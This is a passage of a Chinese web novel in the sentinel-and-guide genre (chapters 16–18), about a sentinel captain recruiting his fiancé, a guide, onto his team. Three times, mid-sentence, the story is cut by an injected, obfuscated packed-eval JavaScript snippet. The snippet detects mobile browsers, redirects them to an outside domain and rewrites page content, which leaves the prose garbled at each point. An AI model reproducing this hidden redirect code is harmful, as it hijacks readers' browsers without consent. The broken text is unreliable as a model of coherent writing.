黎珞言眼睛一下子就亮起来,舌头一卷把嘴唇上沾着的奶油抿了回去,可怜巴巴地抬起头望着尹祁青:“要饿晕了。” 闻言,尹祁青点点头,温声说:“好,我去做饭。” 16.第 16 章 黎珞言是真的饿了,低头快速吃了好几口蛋糕之后,一抬头突然发现四周一个人都没有了。 黎珞言:……? 他端着盛蛋糕的小盘子,往厨房里面走。 他探了个头往里面瞧,尹祁青正在洗鱼,尹惟搭了个小板凳坐在边上择菜,由于低头的动作,扎起来的头发总顺着脖子往下掉,她转了转脑袋,试图靠头把头发甩到后面去。 黎珞言见状,顺手帮她把头发往后挪了下。 尹惟双手腾不出空,仰着头侧过去看他:“梨子快帮我盘一下头发。” “哦——”黎珞言慢吞吞应下,把盘子随手放在橱柜台面上,嘴里咬着蛋糕塑料叉子,低着头给尹惟扎了个丸子头。皮筋绑好之后,看上去挺完美的丸子头瞬间就掉了几缕黑蓝交错的头发下来。 黎珞言看了两秒,道:“得拿发卡固定一下。……怎么有个人去偷懒了吗?” 他左右看了看,没看着奚元的人影,“唔”了一声,慢吞吞说:“那我把那个偷懒的人喊过来,顺便让他拿一个发卡过来吧,他应该知道放在哪儿的。” 说着,他已经拿出终端,准备打给奚元了。 “算了,这样也不是很影响,”尹惟晃了晃头,确实感觉散下来的几缕影响不到她择菜,于是低下头继续做事,一边解释道,“他说他必须得睡会儿觉了,不然真的会猝死。猝死之后变成鬼,爬都要爬过来找我们。” 黎珞言想象了一下那个画面,立马把终端收了起来,抿了抿唇,真切点头,“那还是让他睡一会儿吧。” 尹祁青开始切鱼了,他身上系着条没有图案的纯色围裙,嘴角噙着笑,刀刷刷刷往下切,下刀精准。 他一边切着鱼,一边开口说话,似乎是真心疑惑:“我发现了个很奇怪的事,小梨一直很爱睡觉我知道,但是你们两个怎么也开始睡不够了?怎么?睡觉这东西待久了也会趋于一致吗?” 尹惟听出来他这句话是在揶揄黎珞言,一挑眉笑起来,漫不经心地说:“是哦,梨子你怎么回事?” 黎珞言往柜台边挪,慢得跟蜗牛似的,反应也慢慢的,用叉子叉了块蛋糕吃进嘴里,又挖了块碎糖喂进嘴里。 精心挑选洒在蛋糕上的碎糖很甜,入口后那股甜味就炸开。 他把碎糖嘎嘣嘎嘣咬得更碎,盯着蛋糕,又挖了一块,这才慢吞吞回了句:“……讨厌。” 他大口吃着,几乎快要吃完了。 尹祁青转过头来,脸上带着笑,朝着黎珞言手里的盘子努了努嘴,问道:“蛋糕好吃吗?” 黎珞言一个字一个字往外面蹦,极其肯定:“当然好吃。” 尹祁青若有所思点点头,朝他挑了下眉:“那让我尝一口。” 他双手刚处理了鱼,又在处理蒜等调味的东西,腾不出空,便很自觉地张了嘴,等着面前的人给自己喂一口小蛋糕。 黎珞言看着剩的最后那一小块,犹豫了片刻,叉子悬停在小蛋糕上。要不要一分为二呢? 他想了想,尹祁青今天才回来。于是叉子还是把整块都叉上了。 尹祁青张口咬下那块蛋糕,看着黎珞言低着头眨巴眼睛,冷肃的眉眼不禁漾起笑意,故意大声地啧啧两声:“吃你这么一小块蛋糕,你还犹犹豫豫的,不是说给我准备的蛋糕吗?” 黎珞言站在洗手台前开始洗盘子叉子了,闻言,努力为自己辩驳,很没有底气地说:“没有犹豫。” 他含糊说完这四个字,刚好洗完了盘子,把东西放回原处后,他转过身来,看向尹祁青,旋即眼睛一弯,月牙似的:“就是给哥准备的蛋糕,想吃多少就吃多少。” 尹祁青其实对吃的兴趣不大,爱吃东西的毫无疑问是黎珞言。说起来,他的做饭这项技能,还是因为黎珞言点亮的,一回生二回熟,做饭做多了之后,做出来的味道也越来越好了。 黎珞言背着手走来走去,东张西望看看自己能做什么,但没发现,于是问道:“有什么需要我的地方吗?” 尹惟择完菜之后在看终端了,听见之后也抬起头,听有没有什么任务再派下来。 “我自己来就行,你们还是去客厅玩吧。”尹祁青觉得他自己干活的效率还要高些。 尹惟朝他竖了个大拇指,立马愉快地出了厨房,黎珞言却还没走,在没多大点的厨房踱步。 尹祁青看向黎珞言,笑道:“怎么不休息一下?不是快饿晕了吗?” “哥。”黎珞言先喊了一声,然后就不说话了。 尹祁青耐心回道:“嗯?怎么了?” 他备菜时走来走去,黎珞言就跟在他后面亦步亦趋地走:“联赛的队长名单出来了。我的名字在上面。” 尹祁青的动作一顿,皱了眉,似乎在思索,轻声呢喃:“为什么会?” “我也不知道,我的名字就在上面了。”说起来,黎珞言还有点被赶鸭子上架的委屈,他把原话一本正经地复述了一遍,“老师说,是为了平衡每组实力……” 说完,他惆怅地叹出一口气,小声嘀咕,“而且都没有人提前告诉我。” 平衡每组实力? 虽然黎珞言实力确实很强,但毕竟是一年级新生,还没有去过污染区深处。学校再怎么平衡实力也不至于让一年级新生当队长还不提前通知本人吧。 尹祁青眉头紧锁,他有点怀疑是执政官下的命令,但也只是毫无根据的猜测罢了。 队长名单已经出来了,事已至此,也不能变动了。 队长名单出来的时候,尹祁青还在污染区出任务,错过了询问的最好时机,他准备着明天或者后天去问问别人,看有没有知道具体情况的。 见黎珞言垂着眸无精打采的模样,尹祁青专注看着他,温声问道:“找好队友了吗?” 一听见这话,黎珞言莫名泛起一阵心虚,移开和对方对视的眼神,吐字含含糊糊:“啊……找到了两个。” 尹祁青继续关心:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572917|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁啊。” 黎珞言别开视线,盯着自己的鞋尖,慢吞吞说话:“……找到了尹惟和奚元。” 尹祁青扬起半边眉,笑道:“这么说我的队里只剩两个人了?” 4-2=2,计算得没错。 黎珞言点点头肯定他:“是这样的。” 尹祁青刚从污染区回来,就得知了自己得重新找队友参加联赛的事。 但他脸上还带着温和的笑,心情倒是没受影响,问道:“那向导呢?你有想法吗?” 黎珞言像卡了机一样一顿一顿地摇头,又叹一口气:“还没找好。” 他不习惯和陌生人相处,因此他需要找到一个认识的向导,同时这个向导还需要能够给他做精神疏导,要完全满足这两个条件的向导,说实话,他居然还真找不出来几个。 锅里的红烧鱼片已经初见雏形了,香辣味从锅里一点点沁出来,诱人得不行。 黎珞言忍不住吸了吸鼻子,闻着香味,视线跟着香味就跑到锅里去了,盯着香喷喷的红烧鱼,喉结滚动了一下。 尹祁青也在看着锅里的鱼片,一边熟练地翻炒,一边和他说话:“温暻应该还不知道你当队长这事。” “温暻哥也刚回来,当然不知道了。”黎珞言眨眨眼睛,不明白这个为什么还要自己来提醒。 “我的意思是,如果他愿意的话,你会邀请他去你的小队里吗?” 黎珞言思考起来,嘴里轻声道:“啊——” 尹祁青补充道:“你们三个都是一年级生,没有比赛经验,除了实训课之外也基本没去过污染区。如果温暻去你们队里的话,应该能帮到你很多。你知道的,他是白塔首席,白塔里的向导几乎没几个能力比他强的。” 黎珞言继续思考,他是真的在认真想这个问题。没有这种让尹祁青沦为光头司令的道德约束之后,确实去找温暻商量换队的事比较好,但是他也不知道自己在纠结什么。 突然想到什么,他眼睛一亮,澄澈如湖水的绿眸像是漾起粼粼碎光了一样,一眨不眨望向尹祁青:“哥!我突然有想邀请的向导人选了!” “嗯?”尹祁青很耐心地听他说。 “对了对了,有件事我还没和你说呢,”黎珞言手臂靠着柜台边上,侧过头冲认真做菜的尹祁青笑,“我订婚了。” 尹祁青脸上的笑容陡然一僵。 短短四个字像一颗炸弹一样一瞬间从他的耳边炸开,以至于他竟然没有第一时间对黎珞言的话做出回应。 黎珞言浑然未觉,弯着眸子笑容明媚,说话也罕见的很有逻辑:“我的订婚对象是白塔的一位向导,既然我需要找到一个队友,我明明就可以找他啊……哥,你说对不对?” 他觉得自己想出了一个好聪明的主意。而且他和未婚夫的匹配度很高,在污染区需要做疏导了完全可以找他。 他半晌没听见回应,奇怪地看向尹祁青的眼睛,歪了歪头:“哥你怎么不说话?” 17.第 17 章 白光透过玻璃墙洒在会堂穹顶上,星云状的能量波纹在其间流转,一仰头便能看见极其漂亮的景色。 六棱晶柱自高空垂落,在深灰瓷砖地面投下幽蓝的冷光。 白塔首席身穿银灰色制服,胸口处有一处暗绿色的刺绣徽章,是白塔的标识——“生命之树”,枝条繁盛延伸,交缠盘踞。 他步速均匀踏上演讲台,站在了话筒前方,抬头的那瞬间露出一张很好看的脸,面上带着始终得体温柔的笑容。 站在演讲台上的向导有着一头灿烂的金发,在幽蓝冷光的照耀下仿佛能够也在发光。开口时嗓音温柔,停顿得当,即便是说着很枯燥很千篇一律的话,也让人忍不住去仔细倾听。 白塔现任首席,温暻,五年级生,精神力s级。 会堂里十分安静,所有人都听着他发言,在发言的结束语中他说道:“——最后,希望大家能够在白塔度过愉快的六年。” “白塔荣光永驻。” 语毕,台下响起掌声。 易谌面色平淡,跟着鼓了几下掌之后,就放下了。 听完首席的讲话之后,周围人窃窃私语起来。 处于其中,低着头安静翻书的易谌反而格格不入起来。他不在意周围人在说什么,完全沉浸在自己的世界当中。坐在他周围的向导也早就习惯了他冷漠孤僻的性子,没有冒昧出声打扰他。 白塔会堂的座位划分是按照年级来的,易谌周围的都是一年级生,他们几乎从来没去过污染区深处,因此对此兴致勃勃地讨论着。 “首席还是太有实力了,才从污染区回来就做演讲,还完全没表现出来一点疲惫。” “啊?怎么看出来首席才从污染区回来的?你是火眼金睛啊?” “嘶,我怎么就看不出来呢?” 下了台之后在角落的首席似乎是在倾听对面的人说话,昏暗的灯光下也能看见他在轻轻点头,唇角弯着一抹极温柔的笑,十分耐心温和的模样。 那人注视远处的温暻片刻后,又收回视线,撇撇嘴:“……入学半年了吧,你是不是从来没关注过官网信息?” “……我现在就去收藏网址,”那位向导说着,就拿出终端找到了白塔官网,一边满是疑惑地说,“但是我之前认识一个学长,他从污染区回来之后浑身精神气都没了,直接跑去医疗舱躺了一整天,据他说精神力一遍遍耗尽、又一遍遍补充,高强度的消耗难受得他都快干呕出来了。” “但是首席他——”他远远看着面上没有任何异常的温暻,不禁发出感慨,“怪不得是首席。” 在污染区出现后,污染区内部的动植物受到磁场影响遭到异变,在联邦政府寻找解决方式时,发现部分人具有对抗异兽的天赋,后来他们将具有这两种不同天赋的人称为哨兵和向导。 只有少部分人能成为哨兵和向导,而其中,拥有向导天赋的人的数量又要少于哨兵。 哨兵较普通人五感增强,具有极强的感知力,但同时间这种敏锐的五感会让他们在处于污染区时受到比其他人更深的精神污染。 与之相对的是向导。向导不会受到具有超出常人的精神力,能够通过精神触须深入哨兵的精神图景中,帮助他们清理精神污染。而如若精神触须极其深入,哨兵和向导可以达成短暂的精神共鸣,在这种状况下,向导能够关闭哨兵的五感,因此只有极少数的哨兵会允许向导完全进入自己的精神图景。 一般来说,一支被派去污染区的小队里,向导数量是远远少于哨兵的,这也就意味着向导在污染区中需要不断给哨兵进行疏导,这期间消耗的精神力无疑是巨大的,一遍遍精神力被抽干又补充的感觉不是每个向导都能忍受的。 白塔内部设立了一个训练室,便是专门针对这个问题的,通过一遍遍耗尽精神力又补充的方式,帮助向导提前适应污染区的情况。 “易……同学。”一名向导有点紧张地开口。 易谌意识到这一声是在喊自己,抬起了头,看向了坐在自己旁边的那名向导。 他们是同级生,但易谌向来不太和同学接触,不认识这人的脸。入学半年,他不仅没看过白塔官网,也从来没关注过任何人。 ——除非是有人主动来挑衅他,为了避免后续更多的麻烦,他会尽快动手解决掉。 易谌的眼睛很黑,并且似乎透不进一点光,盯着人看时实在会让人产生一种仿佛被幽灵盯上了的错觉。 出声那人不太敢盯着他的眼睛看,把自己手里的本子往易谌的面前挪了挪:“可以帮忙看看这个异兽的种类吗?我真的努力查了,但还是没查到。智能识别也识别不出来。” 他递过来的本子上画着的一个很奇怪的生物,大体形象像是一只狼,狼的身上覆盖着一层闪着诡异光芒的鳞片,大大张开了嘴,露出了尖锐的獠牙。其实应该是一只很可怖的异兽,但他画得跟儿童简笔画似的,实在难评。 易谌垂眸看了看,在心里默默想,画功太抽象了,智能识别能识别出来才有鬼。 那人是亲眼看见过易谌和人打架的。生活在白塔的向导大多都是文明人,即便有冲突多半也能通过较为和平的方式解决,少有直接发生肢体冲突的。 直到他见到易谌。 ——白塔里还是上城区的人居多,猛然见到下城区来了个向导,性子孤僻冷漠,简直把不想和凡人进行无意义的交流写在了脸上,成绩还远超同级生。一时间就有不服气的人前去挑衅,于是就□□脆利落揍了一顿。 本来那些人被揍了之后更加不爽了,时刻想着找个机会报复回来,但后来发现易谌连哨兵都按着揍,那点不爽就奇异地消失了。 好嘛,至少也算是一视同仁了…… 他见易谌没有立即回答他,一时心里也犯怵了,想着自己不该走投无路就来问这位煞神。……到底是谁在说易谌只是看着冷漠,其实人很好的啊??救救他救救他。 “影狼,主要杂糅了狼和蛇的特征。”易谌突然开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574319|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口了。 那人已经完全沉浸在自己也被揍一顿的想象中了,骤然听见,猛地一抬头,没太反应过来,“啊……啊?” 易谌看了他一眼,平静地补充:“异化特征是能够进行极短时间的隐形,另外,它的獠牙具有精神污染的效果,对哨兵的影响更大,如果被咬中,獠牙的毒素会加剧哨兵的精神污染。……课上讲过的。” 那人被唤起了一点点记忆,不太确定地肯定:“好像是讲过来着?……真的太感谢你了!” 他发自内心地觉得,易谌果然只是看上去不好接触,其实是个大大的好人! …… 温暻应付完那些公式化的谈话之后,按了按额角,低头的时候显出几分疲惫。 他刚出污染区,终端就收到了白塔人员发给他的讯息,拜托他来会堂做一个讲话。他还没来得及休整,匆忙将作战服换成白塔制服就来了会堂。 好不容易能够休息一会儿了,会堂的观众席已经基本散完了,他见没人再找自己说话了,于是挑着没人注意的时间离开了会堂,开始往宿舍的方向走。 天有点黑,可以称得上是晚上了。温暻额角轻跳着,想快速回宿舍睡个觉。 他们这次去的那块污染区磁场有点问题,接收不到讯息,他忙完会堂的事,现在才有时间回一下这段时间终端上收到的消息。 然后就发现尹祁青莫名其妙给自己发了个微笑的表情。 温暻皱了下眉,手指点了点,回道:【?】 他看了一会儿,那边一直没回他。……尹祁青犯什么病? 温暻猜都能猜到,现在尹祁青肯定和黎珞言在一起。 想到黎珞言,他轻轻弯了弯眼,翻到了和黎珞言的聊天界面。 上一条消息还是在他出任务之前发的。 黎珞言:【温暻哥,我好像又需要做精神疏导了,拜托拜托。】 温暻:【很难受是吗?你先休息一下,我来找你。】 黎珞言:【谢谢哥。[小狮子昏昏欲睡.jpg]】 但现在这个点黎珞言有可能已经睡觉了,他睡觉向来很早。 温暻想着给他发条消息,他走着路,眼睛一直看着终端屏幕,没注意到旁边有人经过,与对面走过来的人擦肩的一瞬间,手指不小心划过了通话键。 他没注意自己手上点到了什么,抬起头,脸上挂上歉疚的神情,嗓音天然浸着柔和:“抱歉。” 对方是个黑发黑眸的向导,神情冷得像一块冰,似乎是在和人打视频。闻声侧过头来,朝他摇了摇头,示意没事。 温暻收回视线时不经意间瞥到了对方的屏幕,视线骤然一顿。 怎么、有点眼熟? 但屏幕光线太暗了,晃眼一瞥看的也不是很清楚。 黑发黑眸的向导很快离开了。温暻却没动,他迟疑地收回视线,重新看向终端屏幕,发现自己居然不小心打了视频过去。 上面显示,对方正在通话中。 18.第 18 章 易谌不知道为什么会收到对方打来的视频通话,也不知道为什么对方衣服都没穿好就给他打来了视频。 未婚夫……就可以这样打视频吗? 屏幕那头的人似乎是睡着之后突然想起来要打这个视频给他,房间里光线很暗,他半边脸还枕着枕头,懒懒抱着被子,眼睛睁几秒钟就要闭上个几分钟。跟说梦话似的,声音黏黏糊糊:“未婚夫,你能来当我队里的向导吗?” 易谌是刚从训练室加练之后出来,准备回宿舍的。但看着屏幕里似乎是在说正事的人,他没再走动了,找了个位置坐下来,准备挂断之后再回去。 黎珞言见他没回应,努力睁开眼睛,雾气弥漫的一双绿眸睁大了望着他,然后眨眨眼睛,声音被压低之后显得有点可怜的意味:“可以吗?” 易谌停顿一下,盯着他半垮着的睡衣领子看了片刻,旋即移开视线,提醒道:“你衣服歪了……你刚刚说的,什么队?” 黎珞言慢吞吞地低头看了眼自己的睡衣,打了个哈欠,双手平平伸出,像僵尸似的直挺挺坐了起来,终端被他捏在手里。 易谌隔着屏幕,离他远了一点,然后没几分钟就离他又近了些。 ——是个怼脸的角度,还好那张脸长得实在过于权威了,放大之后反而将五官的优点都显现了出来,宝石般的绿眸倒映着屏幕的光,像缀了颗亮闪闪的宝石在眸里似的。 啪嗒一声,黎珞言拍了下夜灯,暖橙色的光一瞬间亮起来,他拿着夜灯调整角度,他动来动去,一张脸也就明明暗暗,亮亮黑黑,光晃得屏幕那头的易谌都有点眼睛酸了。 最后,哨兵终于把夜灯放在了他想放的位置,重新把终端拿起来,看向易谌,眼睛又眨巴一下,懵懵地问道:“你刚刚还说了什么来着?” 他坐起来之后,懒洋洋地倚靠在床头板上,衣服不像躺着时那样歪歪扭扭的了。 易谌终于不会忍不住往他领口那边看了,绷着一张脸,冷淡问道:“我来你的什么队里当向导?” 黎珞言解释道:“近期联邦军校和白塔有一场联赛,我现在是一支队伍的队长,队里还需要一名向导。所以我想问问你,你可不可以来我的队里当向导啊?” 他想了想,为了加强自己请求的被同意可能,又补充似的地喊了声:“未婚夫。” 他说得非常简洁,似乎是提炼重点在说,但是易谌发现他听了这么多,没听见一个重点,完全就像是仅仅把他一开始说的那句话做了一下扩展。 但易谌又觉得问黎珞言也问不出个什么……毕竟他也看出来了,黎珞言有点笨笨的。 他还是等回了宿舍之后查一下这个所谓的联赛吧。 黎珞言还眼巴巴地看着易谌,等着他给自己一个答复。为了增加可能性,他慢吞吞但连续不断地一个劲补充:“我真的很需要你。” “我们的匹配度也很高。” “我其实有点厉害的,不管联赛最后是什么样的形式,我都会保护你。” “我……” 易谌道:“可以。” 黎珞言还在冥思苦想:“我……” 听见答复后眼睛骤然一亮:“未婚夫你人真好!” 易谌第一次发现有人能把亮晶晶的眼睛诠释得这么完全。对面的哨兵得到肯定答复之后精神头就过去了,连续打了好几个哈欠之后,眼皮就不自觉地合拢了。 黎珞言坚持着睁开眼睛,望着易谌,弯了弯眸子:“晚安。” 易谌道:“……晚安。” 刚达到目的就说晚安挂断视频这种事情听起来十分有用完就丢的意思,但黎珞言表现得太真诚了,他看起来是真的困了,而且眼睛水亮水亮的,让人完全不好意思拒绝他睡觉的小心愿。 ——不让人睡觉简直是件很过分的事了。 易谌看着自动回到聊天界面的屏幕,空荡荡的,他盯着唯一一条的属于今天的视频通话,开始自我反思。 所以,他到底是为什么答应的呢?他连这是个什么比赛都不知道,居然就答应了下来。 鬼迷心窍了鬼迷心窍了。 易谌站起来吹了会儿冷风,拍了拍自己。也有可能是最近熬夜太多把脑子熬晕了,今晚还是早点睡好了。 还是说今天去训练室练精神力时间太长了把脑子给练坏了? ……不管了。先睡一觉再说。 * 队友名单在联赛开始前一周确认了下来,一旦报上去就不容更改了。 这是团队赛,易谌到现在为止只见过黎珞言两次。哦……不,如果算上相亲那次的话,也勉强称得上是见过另外两个队友——一个红色短发男生,和一个蓝色挑染的高马尾女生。 于是在比赛开始前见一面成为一件很有必要的事情。 易谌看着黎珞言终端上发给他的时间地点,随便找了套衣服穿上,但盯着镜子停顿了几秒。 镜子里的人眼皮微垂,盖住了一小半纯黑的瞳孔,发色也极黑,短袖长裤也是很暗的纯色,整个人看上去萦绕着几分阴郁冷清的气质。 ——总之就是不太好接近的模样。 易谌盯着镜子里的自己,蓦然想起哨兵那双亮绿色的眸子,不知怎么想的,把短袖脱了下来,重新去衣柜里找了件浅色短袖套上。 上衣衣摆垂落,盖住了腹部明显训练过的肌肉线条。 再回到镜子前之后,看上去终于不像原先那样散发着股阴郁气了。 他出了门,看了眼时间,搭乘空中巴士往约定好的地方去——“琥珀回声”酒吧,301号包间。 他突然又收到了黎珞言的消息:【一则临时更正通知——来302号包间,我等着你!】 * 黎珞言提前到达了301包房,但他感觉等的过程中没有什么能做的事,干脆扒拉了一下沙发,找了个舒服的姿势半倚半躺着。 房间灯开得很亮,有沙发还有棋牌之类的娱乐设施,还有股极轻极淡的香气。比起酒吧,倒像是个供人休息的房间。 尹惟在另一个沙发上躺着,在用电脑玩降智小游戏,手指在触摸板上慢悠悠地滑来滑去。 房间里安安静静的,只有一些持续响起的白噪音,是很适合睡觉的环境。 突然猛地一声响起:“砰!哐当!” 奚元抿了抿唇,垂眸看着砸在地上裂成两半的酒瓶,以及在摔落过程中洒得到处都是的红酒:“不好意思……手滑了。” 尹惟玩游戏的手一顿,坐直身看向他:“你怎么了?最近看你心不在焉的?” 奚元扯了几张纸,擦了擦身上的平静道:“可能没睡好吧,失眠。” 黎珞言睁开了眼睛,整个人都在状况外,脑子转不起来,手慢吞吞摸到沙发上的软枕头,拿起来朝奚元扔过去。 奚元被砸得低了下头,在枕头掉到地上之前眼疾手快接住了,扭过头扬起眉:“怎么打人啊?我要去论坛上发个贴,主贴名字就叫【曝光黎珞言私下是个暴力狂】。” 黎珞言根本不信,哼出一声:“那你去啊。” 一整瓶红酒全部都洒出来了,地毯被红酒浸湿了,还有的黏在衣服上和裤子上。大夏天的穿得薄,洒上红酒后衣服几乎都黏在了身上,可以依稀看见一点肉色。 奚元把自己的衣服往外面提了提,低头看着被浸泡着还在滴酒的衣服,忍不住“啧”了一声,站起身把衣服下摆拧干了。裤子也被酒浸湿了,一股极浓烈的酒味在房间里蔓延开来。 奚元说:“要不换个房间吧,我在这边换套衣服就过去。” 黎珞言看着地面因着酒瓶打碎而一塌糊涂的情况,点了点头:“好吧。” 但他突然又想到:“那现在还有空房间吗?” 一般来说,301包间就是他们经常聚会的地方,所以这间房一直是给他们留着的。但其他房间就不一定还是空着的了,说不定已经被其他人提前预约了。 “去302吧,”奚元想了想,“我记得,尹祁青他们这次一起去污染区的人会小聚一下,预约的就是302包间。” “是吗?”黎珞言眨眨眼,“那我们突然过去会打扰他们聚会吧。” 奚元盯着自己被酒液弄得黏黏糊糊的手,忍不住皱了眉。闻言回道:“他们晚上才聚,肯定影响不到他们……那我给他发条消息说声吧。” 黎珞言这下觉得没问题了,比了个OK的手势。 他走到门口了,发现尹惟还没跟上,于是侧过头看向尹惟的位置,有些疑惑,喊了声:“尹惟?” 尹惟眼睛微眯着,若有所思,听见黎珞言喊自己的名字之后,收回了看向奚元的视线,弯眸笑了下:“来了。” 在经过奚元时,她微一侧身,压低了声音,语气含笑,意有所指地问:“今天怎么这么不小心?” 奚元轻轻垂眸,面色不变,语调平稳:“就是一不小心。” 尹惟似乎是信了,笑眯眯地点了点头,不置可否,跟在黎珞言身后出了门。 奚元找人给自己重新送了套衣服过来,简单收拾了下自己,换上了身干净衣服,身上舒服多了。 懒散地坐在沙发上后,他就开始给尹祁青编辑消息发过去。 * 琥珀回声,在联邦被评为最受欢迎的聚会去处。环境舒适,服务优良,除了价格贵点之外几乎没有任何缺点。 易谌第一次踏入这里,这里并不像他印象中的酒吧那么喧嚣,反而充斥着一种很清雅的风格。 他眼皮轻轻垂下,摩挲了下垂至身侧的手指,面色平静地按着路上的指示牌去找302号包间。 走在三楼的走廊上,他忽然觉得似乎有道视线在注视自己,循着直觉看了过去。 是个穿着短袖长裤的青年,黑发中有几缕雾霾蓝挑染,整个人从内而外透着股特别凌厉冷肃的气质。 他单手插兜,神色慵懒,穿着乍一眼看上去十分随意,但动作之间影影绰绰显露出了些似乎是深入骨髓的力量感和纪律性。 对方也稍一侧头,在即将和易谌对视上的那瞬间,易谌平静地移开了视线,像没看见一样,迈步往前。 然后,易谌就发现对方一直和自己同路。 易谌:“……?” 他皱了下眉,但没有说话,走到302号包间的门前时停了下来,抬手敲响了门。 有着蓝色挑染的青年缓步走上前,同样停在了这扇门前。 在易谌敲完门等里面开门的时候,身旁的青年伸出一只拿着卡的手,在感应器前刷了一下。 “滴!” 门被打开了。 气质冷肃的青年侧头看了易谌一眼,盯着他看了几秒后,转回了头。 易谌眯了眯眼,直觉性地察觉到了一种威胁感。他向来对别人的情绪十分敏感,那种空气中逸散的淡淡的敌意十分明显——甚至有一种宣告主权的意思。 黎珞言正要开门,还没拉开就发现门被自动打开了。他有些困惑地盯着把手处看了会儿,然后迟疑地把门拉开了。 他下意识喊道:“易谌?” 然后看清门外的人后,他声音一顿,茫然地看着本来不该出现在这里的尹祁青,视线又缓慢地往旁边看。 唔……这个才是易谌。 黎珞言弯了弯眸,双眼专注看着易谌,打招呼:“好久不见。” 他抓住了易谌的手腕,感受到那里肌肉瞬间绷紧之后,才后知后觉想起来对方说自己有洁癖、不喜欢和人接触的事,于是立马松开了手。 他反应得比易谌还要快上几分,等易谌看向他时,他就弯起眸,微微耸了下肩,眼眸里流淌着仿佛林间的盎然绿意,唇角漾起一个有点不好意思的笑。 易谌心里顿时像是被羽毛轻轻扫了一下。过于直白澄澈的眼神总是让他产生一种不知所措的感觉。 等到易谌进去之后,被黎珞言忽视了个彻底的尹祁青就这样一言不发地看完他们之间短暂的互动之后,也准备进去。 刚迈出脚,就被黎珞言拉住了。 尹祁青看了眼黎珞言圈住自己手腕的那只手,目露疑惑。 黎珞言把他往外面一拉,顺手把门关上了,抿了抿嘴:“哥,你怎么来了?” 尹祁青挑了下眉:“这不是我预约的包间吗?我还不能来了?” 黎珞言被这句话问得心虚了一下,眨眨眼睛,立马转移话题:“哥——我们小队开会呢。” “开会……我不能进去吗?”尹祁青问完之后,又状似不经意问起,“刚才那个是你未婚夫?” 黑发绿眸的哨兵稍微顿了一下,然后弯了弯眼睛:“嗯。” 尹祁青:“哦。” 黎珞言见他不说话,趁机说道:“哥你有什么事吗?没事的话就先回去?” 他赶人赶得太明显了,尹祁青差点被气笑,双手环着,无奈道:“我来找手表的,我早上把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581697|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那东西放在桌上了。既然你不让进去,就帮我把手表拿出来吧。” 黎珞言歪了歪头,笑眯眯的:“没有说不让哥进去……那我去给你拿出来。哥你先等一下。” 看着他进了门,尹祁青无奈地倚靠在墙上,半低着头看终端,等着他出来。 他确实没说这几个字,但话里话外都是这个意思。 尹祁青打着字:【小梨把我拒之门外了,爱莫能助,我回去了。】 …… 尹惟保证,这是她经历过最尴尬的几分钟。 易谌走路几乎都没有声音,他就像鬼一样飘进来了,然后平静地找了个位置坐下,没有要和他们打招呼的意思。 以至于尹惟想说点什么活跃气氛都很难。 奚元不知道在干什么,看着终端屏幕,脸臭得跟被欠了钱似的,翘个二郎腿大爷一样倚在那个单人沙发上。 包间里安静得不行,只有尹惟电脑里的降智小游戏在欢快地叽里咕噜叫,竟然莫名显出几分诡异来。 她喝了口果汁,努力压制这种极为尴尬的心情,面上维持着淡定的神情,继续玩游戏,鼠标点到金币,收集起来时瞬间响起哗啦啦的声音。 握着鼠标的手一顿,她默默地设置了静音,又喝了一口果汁。 梨子梨子,快快回来。 门突然被打开了,黑发绿眸的哨兵进门后刚一抬头,就看见面前的三个人直勾勾地看着自己。 黎珞言眼睫下意识颤了一下:“……啊?” 吓他一跳。搞得他像做了什么很引人注目的事情一样。 他顶着三个人不可忽视的注视,像一个移动光源似的,走到哪儿就被看到哪儿。 黎珞言一边找尹祁青说的手表,一边在心里慢吞吞地吐槽,这是在做什么啊?怎么都看着他……? 手表的位置不太显眼,他找了快一分钟才找着,迅速把手表拿给尹祁青后,再次回到房间里坐下。 奚元看着尹祁青发给自己的消息,脸色难看得要命,冷着一张脸,把终端随意往桌上一扔,撞击时发出了点声响。 黎珞言看他一眼,不明白他在莫名其妙发什么脾气,于是抬脚踹了下他小腿。 奚元被踹了一下之后总算收敛了些,垂下眸,猛灌了口酒。 灼热感从喉管一直烧到胃里。他有些心神不宁,根本听不进去黎珞言在说什么。 只听见了个结束语—— “奚元你能不能认真一点?” 黎珞言说话说得都累了,喝了几口果汁,见奚元在发呆,瞬间模仿起老师上课点名的语气,实名批评他。 奚元慢吞吞地学他:“哦——” 他抬起眸,在看向黎珞言的时候,不可避免地余光扫到旁边的易谌,他眉毛微微扬起,唇角咧开一个很灿烂的笑。 